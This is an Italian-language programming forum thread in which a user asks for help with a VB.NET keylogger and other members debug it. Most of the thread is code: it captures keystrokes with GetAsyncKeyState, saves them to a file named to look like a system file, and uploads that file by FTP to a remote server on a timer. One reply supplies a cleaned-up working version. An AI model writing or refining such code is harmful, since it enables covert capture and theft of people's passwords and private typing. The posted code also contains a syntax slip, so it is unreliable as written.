• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Problema risolto [VB .NET] Inviare file .txt constantemente ad un server

MasterHD

Nuovo utente
Autore del topic
13 Ottobre 2010
44
0
Miglior risposta
0
Allora ragazzi il mio codice funziona egregiamente, sarebbe un Keylogger visuale che mi serve per alcune cose, ma quando ha uploddato sul server la prima volta il file, mi dà errore timeout... Potete controllare il codice e dirmi cosa non và?

Imports System.Threading

Public Class Form1
Dim t As Threading.Thread

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
t = New Threading.Thread(AddressOf Me.LupInfinito)
t.Start()
End Sub
Private Sub LupInfinito()
Do While True
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("ftp://NOMESERVER/NOMEFILE.txt"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("USER", "PASS")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt"), 0, System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt").Length)
Thread.Sleep(5000)
Loop
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
Dim sw As System.IO.StreamWriter
Dim a As String
a = "C:\WindowsUserFramework" & ".txt"
sw = IO.File.CreateText(a)

sw.WriteLine(TextBox1.Text())
sw.Flush()
sw.Close()
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
End Sub
End Class
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Allora ragazzi il mio codice funziona egregiamente, sarebbe un Keylogger visuale che mi serve per alcune cose, ma quando ha uploddato sul server la prima volta il file, mi dà errore timeout... Potete controllare il codice e dirmi cosa non và?

Imports System.Threading

Public Class Form1
Dim t As Threading.Thread

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
t = New Threading.Thread(AddressOf Me.LupInfinito)
t.Start()
End Sub
Private Sub LupInfinito()
Do While True
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("ftp://NOMESERVER/NOMEFILE.txt"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("USER", "PASS")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt"), 0, System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt").Length)
Thread.Sleep(5000)
Loop
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
Dim sw As System.IO.StreamWriter
Dim a As String
a = "C:\WindowsUserFramework" & ".txt"
sw = IO.File.CreateText(a)

sw.WriteLine(TextBox1.Text())
sw.Flush()
sw.Close()
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
End Sub
End Class


Oh mio dio, usare un ciclo per caricare un file via ftp, questa mi mancava, usa un timer, almeno che tu non voglia rete e cpu occupate costantemente.

Comunque puoi accorciare di molto il codice:

IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\key.txt", "TESTO CONTENTE LOG")

My.Computer.Network.UploadFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\key.txt", "ftp://server...", "username", "Password")
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Lo sapevo che avrei potuto usare un timer -.- solo che se uso un timer mentre uplodda il file il keylogger non riceve più le lettere perchè si blocca per quei secondi dell'upload... non sò come creare un secondo thread per il timer dell'upload...
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Uppare e non uploaddare...
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Lo sapevo che avrei potuto usare un timer -.- solo che se uso un timer mentre uplodda il file il keylogger non riceve più le lettere perchè si blocca per quei secondi dell'upload... non sò come creare un secondo thread per il timer dell'upload...

Beh allora puoi utilizzare il timer per far partire il thread ogni tot. stai attento perchè ogni volta devi ridichararlo altrimenti darà errore

Codice timer
DIm thread as new thread (address of ...)
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Ho modificato cosi ma non funziona ancora... cosa sbaglio? D:


Imports System.Threading

Public Class Form1

Dim t As New Thread(AddressOf LupInfinito)
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
t = New Threading.Thread(AddressOf Me.LupInfinito)

End Sub
Private Sub LupInfinito()

Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("ftp://###"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("####", "###")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt"), 0, System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt").Length)


End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
Dim sw As System.IO.StreamWriter
Dim a As String
a = "C:\WindowsUserFramework" & ".txt"
sw = IO.File.CreateText(a)

sw.WriteLine(TextBox1.Text())
sw.Flush()
sw.Close()
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim t As New Thread(AddressOf LupInfinito)
t.Start()
End Sub
End Class
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Ho modificato cosi ma non funziona ancora... cosa sbaglio? D:


Ecco il source migliorato e corretto:

Ogni tick del timer creava un nuovo file,questo rallentava tantissimo il controllo dei tasti, adesso salva il file prima di caricarlo e impiega molto meno.

Il metodo di upload era in parte errato,ne ho messo uno molto più semplice e ho ripulito il sorgente ;)

Imports System.Threading

Public Class KeyLogger
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub LupInfinito()
IO.File.WriteAllText ("C:\WindowsUserFramework.txt",TextBox1.text")
My.Computer.Network.UploadFile("C:\WindowsUserFramework.txt", "ftp://", "username", "password")
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text & Chr(i)
End If
Next i

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim t As New Thread(AddressOf LupInfinito)
t.Start()
End Sub
End Class
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Grazie mille, cioè ci stavo sbattendo la testa da 2 giorni, cioè non sò come ringraziarti, sei un grande :banana:
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Grazie mille, cioè ci stavo sbattendo la testa da 2 giorni, cioè non sò come ringraziarti, sei un grande :banana:

Di nulla, ci ho messo un minuto :P Direi che possiamo chiudere , segnalo
 
Riferimento: [VB .NET] Inviare file .txt constantemente ad un server

Sposto e rinomino